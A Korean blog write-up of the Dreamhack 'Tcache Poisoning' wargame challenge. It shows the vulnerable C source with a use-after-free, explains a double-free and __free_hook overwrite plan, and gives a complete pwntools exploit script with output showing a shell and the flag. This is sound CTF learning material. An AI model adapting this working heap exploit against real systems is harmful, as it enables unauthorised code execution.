[dreamhack] Tcache Poisoning writeup

1. 문제

thumbnail
Tcache Poisoning

Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/358

2. 풀이


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

  • case 1: size를 입력받아서 할당하고, size-1 만큼 입력받아서 content에 쓴다.
  • case 2: 청크를 free한다.
  • case 3: 청크의 내용을 출력한다.
  • case 4: 청크의 내용을 수정한다.

case 2에서 청크를 free할때 초기화를 하지않고 있기 때문에 free 이후에도 청크의 내용을 수정할 수 있다.

tcache dup 문제와 비슷하게 풀 수 있기는한데, 대신에 그때와 달리 같은 libc-2.27.so를 사용했더라도 세부버전이 다른지 바로 double free bug를 활용할 수가 없다.

즉, malloc 한번, free 두번을 바로 하게되면 double free bug를 detect하면서 프로그램이 종료되어버린다.

ubuntu@instance-20250406-1126:~/dreamhack/level3/tcache_poisoning$ ./tcache_poison 
1. Allocate
2. Free
3. Print
4. Edit
1
Size: 30
Content: aaaa
1. Allocate
2. Free
3. Print
4. Edit
2
1. Allocate
2. Free
3. Print
4. Edit
2
free(): double free detected in tcache 2
Aborted (core dumped)

그래서 tcache_dup2와 비슷하게 풀면된다. 대신 여기서는 get_shell함수가 없기 때문에 뭔가를 통해서 libc leak을 해야한다. 우리에겐 case 3: print가 있기 때문에 이를 통해 leak을 할 수 있다.


thumbnail
tcache_dup2 writeup

https://jjblog.duckdns.org/ctf%20writeup/2025/06/26/dreamhack-tcache_dup2.html

시나리오는 아래와 같다.

  • ⁣1. alloc 1번, free 1번
    • tcache head -> chunk 0
  • ⁣2. 이미 free된 청크를 edit해서 key를 조작 (use after free), 이를 통해 double free bug 사용 가능
  • ⁣3. 다시 한번 free
    • tcache head -> chunk 0 -> chunk 0
  • ⁣4. alloc하면서 stdout의 주소를 fd에 입력
    • tcache head -> chunk 0 -> stdout -> libc_stdout
  • ⁣5. 2번 더 alloc. 이때 마지막 alloc때 content에는 stdout의 lsb를 입력 (여기서는 "\x60"이었음)해서 stdout의 libc 주소가 변하지않도록 하기
    • tcache head -> libc_stdout
    • 이러면 마지막으로 alloc한 청크의 content에 stdout의 libc 주소가 들어있다.
  • ⁣6. print를 해서 libc_stdout을 leak
  • ⁣7. __free_hook 주소 계산
  • ⁣8. 앞서 수행한 방식 그대로 하되, __free_hook에 원하는 주소 (one_gadget)을 덮기
    • 이러면 free가 실행될 때 훅이 먼저 실행되면서 쉘을 딸 수 있다.
  • ⁣9. free실행하기 -> 쉘 얻기

정리된 exploit은 아래와 같다.

from pwn import *

p = process("./tcache_poison")
#p = remote("host8.dreamhack.games", 14116)
elf = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")

# Phase 1. leak stdout libc addr
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", b"aaaa")

p.sendlineafter(b"Edit\n", b"2")

p.sendlineafter(b"Edit\n", b"4")
p.sendafter(b"Edit chunk: ", b"aaaaaaaa" + b"\x00")     # edit key

p.sendlineafter(b"Edit\n", b"2")    # then we can double free
input()
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", p64(elf.symbols["stdout"]))

p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", b"bbbbbbbb")

p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"30")
p.sendafter(b"Content: ", b"\x60")      # stdout always ends with \x60

p.sendlineafter(b"Edit\n", b"3")
p.recvuntil(b"Content: ")
stdout = u64(p.recv(6) + b"\x00" * 2)

libcbase = stdout - libc.symbols["_IO_2_1_stdout_"]
__free_hook = libcbase + libc.symbols['__free_hook']
og = 0x4f432


# Phase 2. overwrite __free_hook
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", b"aaaa")

p.sendlineafter(b"Edit\n", b"2")

p.sendlineafter(b"Edit\n", b"4")
p.sendafter(b"Edit chunk: ", b"aaaaaaaa" + b"\x00")     # edit key

p.sendlineafter(b"Edit\n", b"2")

p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", p64(__free_hook))

p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", b"bbbbbbbb")

p.sendlineafter(b"Edit\n", b"1")        # alloc __free_hook
p.sendlineafter(b"Size: ", b"50")
p.sendafter(b"Content: ", p64(libcbase + og))


# Phase 3. free
p.sendlineafter(b"Edit\n", b"2")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/tcache_poisoning$ python3 e_tcache_poison.py 
[+] Starting local process './tcache_poison': pid 3045320
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/tcache_poisoning/tcache_poison'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/tcache_poisoning/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
$ cat flag
DH{**flag**}

tcache_dup2 문제를 봤는데도 여전히 복잡하다… 힙공부가 더 필요하다는 것을 느낀 문제.

그래도 첫 level3문제를 풀기 시작했다!

해결~